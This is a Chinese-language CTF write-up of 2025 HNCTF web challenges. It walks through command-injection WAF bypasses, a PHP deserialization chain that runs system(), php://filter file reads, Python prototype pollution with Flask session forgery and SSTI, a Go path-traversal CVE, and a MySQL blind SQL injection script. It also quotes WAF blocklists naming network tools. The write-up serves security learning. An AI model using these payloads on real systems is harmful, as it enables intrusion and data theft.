2025-HNCTF

Really_Ez_Rce

考点:特殊变量$1到$9、$@和$*绕过关键词waf+base64编码绕过字符waf或者拼接绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
error_reporting(0);

if (isset($_REQUEST['Number'])) {
    $inputNumber = $_REQUEST['Number'];
    
    if (preg_match('/\d/', $inputNumber)) {
        die("不行不行,不能这样");	#包含任何数字,程序终止
    }

    if (intval($inputNumber)) {
        echo "OK,接下来你知道该怎么做吗";
        
        if (isset($_POST['cmd'])) {
            $cmd = $_POST['cmd'];
            
            if (!preg_match(
                '/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i',
                $cmd
            )) {
                echo "你传的参数似乎挺正经的,放你过去吧<br>";
                system($cmd);
            } else {
                echo "nonono,hacker!!!";
            }
        }
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Number[]=1&cmd=l$1s /

Number[]=1&cmd=echo bHMgLw== | bas$1e64 -d | s$1h	#ls /

Number[]=1&cmd=echo Y2F0ICAvZmxhZy50eHQ= | bas$1e64 -d | s$1h		#cat  /flag


也可以拼接
cmd=a=l;b=s;$a$b / #执⾏ ls /
cmd=a=b;b=ase64;c=s;d=h;echo Y2F0ICAvZmxhZy50eHQ= | $a$b -d | $c$d

这个就是数组绕过preg正则匹配,然后用特殊变量:$1到$9、$@和$*绕过waf,这些特殊变量输出为空,其实就是用它代替过滤掉的单引号和双引号,执行ls /后发现flag.txt,但是过滤了点号,*,?,所以就用base64过滤,

1
注意,这第三条命令我是将cat  /flag编码,这里有2个空格,因为一个空格的话,cat /flag的base64编码是Y2F0IC9mbGFnLnR4dA==,有个nl被waf了,服了我一开始还纳闷,后面写了个代码才找出来,当傻子了。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php
 
$cmd='echo Y2F0IC9mbGFnLnR4dA== | bas$1e64 -d | s$1h';
if (!preg_match(
                '/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i',
                $cmd
            )) {
                echo "你传的参数似乎挺正经的,放你过去吧<br>";
            } else {
                echo "nonono,hacker!!!<br>";
                // 检查具体是哪个命令被拦截
                $patterns = explode('|', 'wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id');
                foreach ($patterns as $pattern) {
                    if (preg_match('/' . $pattern . '/i', $cmd)) {
                        echo "检测到WAF字符: " . $pattern . "<br>";
                    }
                }
            }

这里本来想用最大回溯绕过preg,但是忘记了只有当pre是贪婪或是非贪婪才会回溯,这种简单的字符匹配并不会回溯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import requests
 
url = 'http://27.25.151.198:34161/'
data = {
    'cmd': 'a' * 1000000 + 'ls /'
}
 
# 发送POST请求,使用data参数传递数据
r = requests.post(url, data=data).text
 
# 打印服务器响应的内容
print(r)

命令执行RCE及其绕过详细总结(各情景下的绕过)_命令执行绕过-CSDN博客

ez_php

call_user_func_array性质+GC垃圾回收

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);
class GOGOGO{
    public $dengchao;
    function __destruct(){
        echo "Go Go Go~ 出发喽!" . $this->dengchao;
    }
}
class DouBao{
    public $dao;
    public $Dagongren;
    public $Bagongren;
    function __toString(){
        if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
            call_user_func_array($this->dao, ['诗人我吃!']);
        }
    }
}
class HeiCaFei{
    public $HongCaFei;
    function __call($name, $arguments){
        call_user_func_array($this->HongCaFei, [0 => $name]);
    }
}

if (isset($_POST['data'])) {
    $temp = unserialize($_POST['data']);
    throw new Exception('What do you want to do?');
} else {
    highlight_file(__FILE__);
}
?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

class GOGOGO{
    public $dengchao;
    function __destruct(){
        echo "Go Go Go~ 出发喽!" . $this->dengchao;
    }
}
class DouBao{
    public $dao;
    public $Dagongren;
    public $Bagongren;
    function __toString(){
        if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
            echo "22222"."\n";
            call_user_func_array($this->dao, ['诗人我吃!']);
        }
    }
}
class HeiCaFei{
    public $HongCaFei;
    function __call($name, $arguments){
        echo "322222"."\n";
        call_user_func_array($this->HongCaFei, [0 => $name]);
    }
}

$a=new GOGOGO();
$a->dengchao=new DouBao();
$a->dengchao->Dagongren[]=[1];
$a->dengchao->Bagongren[]=[2];
$a->dengchao->dao=[new HeiCaFei(),"cat /ofl1111111111ove4g"];
$a->dengchao->dao[0]->HongCaFei="system";

echo serialize($a);

#data=O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:23:"cat /ofl1111111111ove4g";}s:9:"Dagongren";a:1:{i:0;a:1:{i:0;i:1;}}s:9:"Bagongren";a:1:{i:0;a:1:{i:0;i:2;}}}	#最后去掉一个}绕过垃圾回收机制

DeceptiFlag

文件包含

image-20250613200730759

有个框被隐藏了,看源码可以看出来,然后讲style改成空即可,然后根据提示和post的参数名字可以猜到上面是xiyangyang,下面huitailang(抓包也可以发现2个传参点,但是奇怪的是,bp里哪怕填对数据也不会跳转显示路径)

image-20250613200904234

进去发现有个文件包含的地方,尝试一番无果

image-20250613201107421

发现可疑base64字符,解码发现是/var/flag/flag.txt。接下来打伪协议就行

image-20250613201051708
1
file=php://filter/read=convert.base64-encode/resource=/var/flag/flag.txt

image-20250613201652023

解码即可。

奇怪的咖啡店

考点:python原型污染链污染静态目录static得到完整源码+unicode编码绕过waf+污染链原型得key+session伪造与ssti

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
from flask import Flask, session, request, render_template_string, render_template
import json
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()

@app.route('/', methods=['GET', 'POST'])
def store():
    if not session.get('name'):
        session['name'] = ''.join("customer")
        session['permission'] = 0

    error_message = ''
    if request.method == 'POST':
        error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时无法购买,请稍后再试!</p>'

    products = [
        {"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
        {"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
        {"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
        {"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
        {"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
    ]

    return render_template('index.html',
                         error_message=error_message,
                         session=session,
                         products=products)


def add():
    pass


@app.route('/add', methods=['POST', 'GET'])
def adddd():
    if request.method == 'GET':
        return '''
            <html>
                <body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
                    <h2>添加商品</h2>
                    <form id="productForm">
                        <p>商品名称: <input type="text" id="name"></p>
                        <p>商品价格: <input type="text" id="price"></p>
                        <button type="button" onclick="submitForm()">添加商品</button>
                    </form>
                    <script>
                        function submitForm() {
                            const nameInput = document.getElementById('name').value;
                            const priceInput = document.getElementById('price').value;

                            fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
                                method: 'POST',
                                headers: {
                                    'Content-Type': 'application/json',
                                },
                                body: nameInput
                            })
                            .then(response => response.text())
                            .then(data => alert(data))
                            .catch(error => console.error('错误:', error));
                        }
                    </script>
                </body>
            </html>
        '''
    elif request.method == 'POST':
        if request.data:
            try:
                raw_data = request.data.decode('utf-8')
                if check(raw_data):
                #检测添加的商品是否合法
                    return "该商品违规,无法上传"
                json_data = json.loads(raw_data)

                if not isinstance(json_data, dict):
                    return "添加失败1"

                merge(json_data, add)
                return "你无法添加商品哦"

            except (UnicodeDecodeError, json.JSONDecodeError):
                return "添加失败2"
            except TypeError as e:
                return f"添加失败3"
            except Exception as e:
                return f"添加失败4"
        return "添加失败5"



def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)



app.run(host="0.0.0.0",port=5014)


##index.html
<!DOCTYPE html>
<html>
<head>
    <title>咖啡店</title>
</head>
<body>
    <h1>Hello {{ session.name }}</h1>

    <!-- 错误提示 -->
    {% if error_message %}
        {{ error_message|safe }}
    {% endif %}

    <h2>今日推荐商品</h2>

    <div class="products">
        {% for product in products %}
        <div class="product">
            <img src="{{ url_for('static', filename='img/' + product.image) }}"
                 alt="{{ product.name }}"
                 width="200"
                 height="200">
            <h3>{{ product.name }}</h3>
            <p>价格:¥{{ product.price }}</p>
            <form method="POST">
                <button type="submit">立即购买</button>
            </form>
        </div>
        {% endfor %}
    </div>

    <style>
        body {
            background-image: url("{{ url_for('static', filename='img/6.png') }}");
            background-size: cover;
            background-position: center;
            background-repeat: no-repeat;
            min-height: 100vh;  /* 确保背景覆盖整个屏幕高度 */
            margin: 0;         /* 移除默认边距 */
            padding: 20px;     /* 给内容添加内边距 */
        }
        .products {
            display: flex;
            gap: 20px;
            flex-wrap: wrap;
        }
        .product {
            border: 1px solid #ddd;
            padding: 10px;
            text-align: center;
            width: 250px;
        }
        button {
            background-color: #4CAF50;
            color: white;
            padding: 10px 20px;
            border: none;
            cursor: pointer;
        }
        button:hover {
            opacity: 0.8;
        }
    </style>
</body>
</html>

一看源码发现有merge函数,是打污染链没错了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

污染哪里呢?在index.html中可以看到图⽚存在于/static/img,而python原型链污染是可以污染静态路由static为./,这样之后我们访问/static/app.py相当于就是访问./app.py

Python原型链污染变体(prototype-pollution-in-python) - 跳跳糖

浅谈Python原型链污染及利用方式-先知社区

1
2
3
4
5
6
{
    "__globals__":{
        "app":{
            "_static_folder":"./"
    }
}/**由于有个check函数检测数据所以猜测可能有waf直接unicode绕过还有这里为什么这里不要init因为类需要 __init__ 来初始化,但函数方法不需要 __init__ merge(json_data, add)中add是方法所以不需要
1
2
3
4
5
6
7
   {
       "__\u0067\u006c\u006f\u0062\u0061\u006c\u0073__": {
           "\u0061\u0070\u0070": {
               "_\u0073\u0074\u0061\u0074\u0069\u0063_\u0066\u006f\u006c\u0064\u0065\u0072": ".\u002f"
           }
       }
   }

/add路由打完payload访问/static/app.py,得到完整的源码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
from flask import Flask, session, request, render_template_string, render_template
import json
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()

@app.route('/', methods=['GET', 'POST'])
def store():
    if not session.get('name'):
        session['name'] = ''.join("customer")
        session['permission'] = 0

    error_message = ''
    if request.method == 'POST':
        error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时无法购买,请稍后再试!</p>'

    products = [
        {"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
        {"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
        {"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
        {"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
        {"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
    ]

    return render_template('index.html',
                         error_message=error_message,
                         session=session,
                         products=products)


def add():
    pass


@app.route('/add', methods=['POST', 'GET'])
def adddd():
    if request.method == 'GET':
        return '''
            <html>
                <body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
                    <h2>添加商品</h2>
                    <form id="productForm">
                        <p>商品名称: <input type="text" id="name"></p>
                        <p>商品价格: <input type="text" id="price"></p>
                        <button type="button" onclick="submitForm()">添加商品</button>
                    </form>
                    <script>
                        function submitForm() {
                            const nameInput = document.getElementById('name').value;
                            const priceInput = document.getElementById('price').value;

                            fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
                                method: 'POST',
                                headers: {
                                    'Content-Type': 'application/json',
                                },
                                body: nameInput
                            })
                            .then(response => response.text())
                            .then(data => alert(data))
                            .catch(error => console.error('错误:', error));
                        }
                    </script>
                </body>
            </html>
        '''
    elif request.method == 'POST':
        if request.data:
            try:
                raw_data = request.data.decode('utf-8')
                if check(raw_data):
                #检测添加的商品是否合法
                    return "该商品违规,无法上传"
                json_data = json.loads(raw_data)

                if not isinstance(json_data, dict):
                    return "添加失败1"

                merge(json_data, add)
                return "你无法添加商品哦"

            except (UnicodeDecodeError, json.JSONDecodeError):
                return "添加失败2"
            except TypeError as e:
                return f"添加失败3"
            except Exception as e:
                return f"添加失败4"
        return "添加失败5"


@app.route('/aaadminnn', methods=['GET', 'POST'])
def admin():
    if session.get('name') == "admin" and session.get('permission') != 0:
        permission = session.get('permission')
        if check1(permission):
            # 检测添加的商品是否合法
            return "非法权限"

        if request.method == 'POST':
            return '<script>alert("上传成功!");window.location.href="/aaadminnn";</script>'

        upload_form = '''
        <h2>商品管理系统</h2>
        <form method=POST enctype=multipart/form-data style="margin:20px;padding:20px;border:1px solid #ccc">
            <h3>上传新商品</h3>
            <input type=file name=file required style="margin:10px"><br>
            <small>支持格式:jpg/png(最大2MB)</small><br>
            <input type=submit value="立即上传" style="margin:10px;padding:5px 20px">
        </form>
        '''

        original_template = 'Hello admin!!!Your permissions are{}'.format(permission)
        new_template = original_template + upload_form

        return render_template_string(new_template)
    else:
        return "<script>alert('You are not an admin');window.location.href='/'</script>"




def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


def check(raw_data, forbidden_keywords=None):
    """
    检查原始数据中是否包含禁止的关键词
    如果包含禁止关键词返回 True,否则返回 False
    """
    # 设置默认禁止关键词
    if forbidden_keywords is None:
        forbidden_keywords = ["app", "config", "init", "globals", "flag", "SECRET", "pardir", "class", "mro", "subclasses", "builtins", "eval", "os", "open", "file", "import", "cat", "ls", "/", "base", "url", "read"]

    # 检查是否包含任何禁止关键词
    return any(keyword in raw_data for keyword in forbidden_keywords)


param_black_list = ['config', 'session', 'url', '\\', '<', '>', '%1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e', '%c', '%2f',
                    'b64decode', 'base64', 'encode', 'chr', '[', ']', 'os', 'cat',  'flag',  'set',  'self', '%', 'file',  'pop(',
                    'setdefault', 'char', 'lipsum', 'update', '=', 'if', 'print', 'env', 'endfor', 'code', '=' ]


# 增强WAF防护
def waf_check(value):
    # 检查是否有不合法的字符
    for black in param_black_list:
        if black in value:
            return False
    return True

# 检查是否是自动化工具请求
def is_automated_request():
    user_agent = request.headers.get('User-Agent', '').lower()
    # 如果是常见的自动化工具的 User-Agent,返回 True
    automated_agents = ['fenjing', 'curl', 'python', 'bot', 'spider']
    return any(agent in user_agent for agent in automated_agents)

def check1(value):

    if is_automated_request():
        print("Automated tool detected")
        return True

    # 使用WAF机制检查请求的合法性
    if not waf_check(value):
        return True

    return False


app.run(host="0.0.0.0",port=5014)

显然,这里是打seesion伪造admin还有permission这里的ssti,这个session伪造怎么拿key???也是要用到污染链

1
2
3
4
5
6
7
8
{
    "__globals__":{
        "app":{
            "config":{
            	"SECRET_KEY":"1"
            }
    }
}
1
2
3
4
5
6
7
8
9
{
    "__\u0067\u006c\u006f\u0062\u0061\u006c\u0073__": {
        "\u0061\u0070\u0070": {
            "\u0063\u006f\u006e\u0066\u0069\u0067": {
                "S\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059": "\u0031"
            }
        }
    }
}

接下来就可以打session伪造了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from flask import Flask, session
from flask.sessions import SecureCookieSessionInterface
import base64
import json
import os

app = Flask(__name__)
app.secret_key = "1"

# 创建一个会话对象
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

# 要序列化的数据
data = {
    'name':"admin",
    'permission': "{{((g.pop.__globals__.__builtins__.__import__('o''s')).popen('en''v')).read()}}"
}

# 序列化并加密数据
serialized = session_serializer.dumps(data)
print("Encoded session:", serialized)

# 如果需要解码,可以使用以下代码
decoded = session_serializer.loads(serialized)
print("Decoded session:", decoded)

替换session可以看到

image-20250613230259230

flag在4flloog中也可以找到,与app.py相同的目录(ls可以看到)

1
这题首先难在这污染静态目录得完整源码,没写过基本想不到,然后就是还不要init,然后还要猜check这个waf,要unicode编码,然后还要污染得key,之后session伪造+ssti倒是正常

Watch

CVE-2023-45283-通过构造a\..\??\b错误转换为\??\b访问任意文件

先登入到真实题目环境,token在题目界面。

image-20250615201510515 image-20250615201537934

看go代码,发现是windos操作系统,有路径拼接,就是输入的路径拼接为\SystemRoot\路径。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package handle

import (
	"fmt"
	"moran/watch/utils"
	"net/http"
	"path/filepath"
)

func ReadFileHandle(w http.ResponseWriter, r *http.Request) {
	userPath := r.URL.Query().Get("path") // 从URL查询参数中获取path参数,存在注入风险

	path := filepath.Join(`\SystemRoot\`, userPath) // `\SystemRoot\` // 这是Windows系统的特殊路径,指向C:\Windows

	handle, isDirectory, err := utils.OpenPath(path) // 尝试打开指定路径的文件或目录
	if err != nil {
		http.Error(w, fmt.Sprintf("Error: %v", err), http.StatusInternalServerError) // 处理打开文件时的错误
		return
	}
	defer utils.HandleClose(handle) // 确保在函数返回时关闭文件句柄

	var response string
	if isDirectory { // 判断是否为目录
		response, err = utils.ListDirectory(handle) // 如果是目录,列出目录内容
	} else {
		response, err = utils.ReadFile(handle) // 如果是文件,读取文件内容
	}

	if err != nil {
		http.Error(w, fmt.Sprintf("Error: %v", err), http.StatusInternalServerError) // 处理读取过程中的错误
		return
	}
	w.Write([]byte(response)) // 将读取的内容写入HTTP响应
}

再看题目的提示:注意go版本与路径,直接问无问

image-20250615205345556

可以找到相关文章

GO-2023-2185 - Go Packages

NVD - CVE-2023-45283

这个漏洞意思就是\a..??\b会错误输出为??\b。在Windows上,以??\是根本地设备路径,??\ 文件,就是可用于访问系统上的任意位置的文件,所有我们就可以拿key,题目提示key在D盘,所有构造路径..??\D:\key.txt

image-20250615210101625

然后输出入key就可以拿flag

半成品login

1.mysql8过滤select布尔盲注

弱密码admin/admin123登入

image-20250615162041349

提示有sql注入,想想肯定是在登入框那里,然后根据提示不出意外flag就在hacker*****用户

那就开干

1
admin123%2527#		#双重url编码发现登入成功(bp需要双重,登入框编码一次就行)

image-20250615163020426

1
1%2527/**/||/**/1=1#	#继续注入,发现过滤了空格/**/代替,or过滤了||代替

image-20250615163107454

1
1%2527/**/order/**/by/**/4#			#order by判断列数为4

image-20250615163447474

image-20250615163459219

过滤了select,用table,这个和select差不多,可列出表的详细内容

1
2
3
4
5
6
7
8
9
与SELECT的区别:

1.TABLE始终显示表的所有列
2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句

可以用来获取所有表名
table information_schema.schemata;

补充:values可以构造一个表,values可以接在union后面,可以判断列数

直接上官方脚本,自己编不出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests
import time

url = "http://27.25.151.198:42498/login.php"
flagstr = "0123456789:;<=>?@_`abcdefghijklmnopqrstuvwxyz{|}~"

tempstr = ""
flag = ""

for i in range(1, 15):
    for idx in range(len(flagstr)):
        x = flagstr[idx]

        payload1 = "1%27/**/||(%27{}%27,%271%27,%2711%27,%2711%27)<(table/**/sys.schema_tables_with_full_table_scans/**/limit/**/1)#".format(tempstr + x)
        ##获得数据库名:hnctfweb
        payload2 = "1%27/**/||(%27hnctfweb%27,%27{}%27,%2711%27,%2711%27)<(table/**/sys.schema_tables_with_full_table_scans/**/limit/**/1)#".format(tempstr + x)
        #获得表名:hnctfuser
        payload3 = "1%27/**/||(%27{}%27,%27%27,%271%27,%2711%27)<(table/**/hnctfuser/**/limit/**/1)#".format(tempstr + x)
        ##获得第⼀列id值:1
        payload4 = "1%27/**/||(%271%27,%27{}%27,%271%27,%2711%27)<(table/**/hnctfuser/**/limit/**/1)#".format(tempstr + x)
        ##获得第⼆列username值:admin
        payload5 = "1%27/**/||(%271%27,%27admin%27,%27{}%27,%2711%27)<(table/**/hnctfuser/**/limit/**/1)#".format(tempstr + x)
        ##获得第⼆列password值:admin123
        payload6 = "1%27/**/||(%271%27,%27admin%27,%27admin123%27,%27{}%27)<(table/**/hnctfuser/**/limit/**/1)#".format(tempstr + x)
        ##获得第四列值:noflaginhere


        payload7 = "1%27/**/||(%27{}%27,%271%27,%271%27,%271%27)<(table/**/hnctfuser/**/limit/**/1/**/offset/**/1)#".format(tempstr + x)
        ##获得id值:2,offset 1:跳过第一条记录,从第二条记录开始取。
        payload8 = "1%27/**/||(%272%27,%27{}%27,%271%27,%271%27)<(table/**/hnctfuser/**/limit/**/1/**/offset/**/1)#".format(tempstr + x)
        ##获得需要的关键⽤⼾名:hackervgcgj,每个人不一样
        payload9 = "1%27/**/||(%272%27,%27hackervgcgj%27,%27{}%27,%271%27)<(table/**/hnctfuser/**/limit/**/1/**/offset/**/1)#".format(tempstr + x)
       ##我跑出来是d8578edf845

       
        data = {
            "username":"admin",
            "password":payload9
        }

        res = requests.post(url=url, data=data, allow_redirects=False)

        if "登陆成功" in res.text:
            continue
        elif "错误" in res.text:
            current_char = flagstr[idx - 1]
            if current_char == '~':
                print("遇到 ~,提前终止,请确认数据是否正确。")
                break
            tempstr += current_char
            flag = tempstr
            print(f"当前结果: {flag}")
            break
print(f"最终结果: {flag}")
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
字符串的字典序比较 (Lexicographical Comparison)
 SQL 中,当你比较两个字符串时,它们是按照字典顺序(也就是字母表顺序)一个字符一个字符地进行比较的。
如果一个字符串是另一个字符串的前缀,那么这个前缀字符串被认为是“小于”完整的字符串。
例如:'h' < 'hnctfweb' (因为 'h'  'hnctfweb' 的前缀)
'ha' < 'hnctfweb' (因为 'ha'  'hnctfweb' 的前缀)
'hn' < 'hnctfweb' (因为 'hn'  'hnctfweb' 的前缀)
如果两个字符串在某个位置出现不同字符,那么比较哪个字符在字母表里更靠前,哪个字符串就更“小”。
例如:'ho' > 'hnctfweb' (因为 o  n 靠后)
'i' > 'hnctfweb' (因为 i  h 靠后)

所以这个代码通过拿一个不断增长的“前缀”或“猜测字符”去和目标字符串的相应部分进行字典序比较。比如,hn<hnctfweb,返回成功,ho>hnctfweb,返回失败,这时候第二个字符-1变为n,加入到 tempstr,其就变为了hn,然后以此类推,得到目标字符串

MySQL 比较两个元组时,也是从左到右,逐个元素地进行比较。只有当第一个元素完全相等时,才会继续比较第二个元素,以此类推。

2.用户名前缀匹配绕过密码验证-or+%

1
username=1&password=1%2527/**/||/**/username/**/like/**/%2527hacker%%2527#		//登入框输就输url编码一次,也就是1%27/**/||/**/username/**/like/**/%27hacker%%27#

这句话就是最后不出意外是执行

1
SELECT * FROM users WHERE username = '1' AND password = '1' /* */ OR /* */ username /* */ like /* */ 'hacker%'#';		#由于是or,所以or前面的语句无所谓,就是 username /* */ like /* */ 'hacker%'#'起作用,意思就是“或者,这个用户的 username (用户名)字段的值,以 hacker 开头”, hackervgcgj 这个用户名来说正好是成立的,它直接绕过了对密码的验证
image-20250616145631120

后面的逆向不会了,到此为止

谢谢观看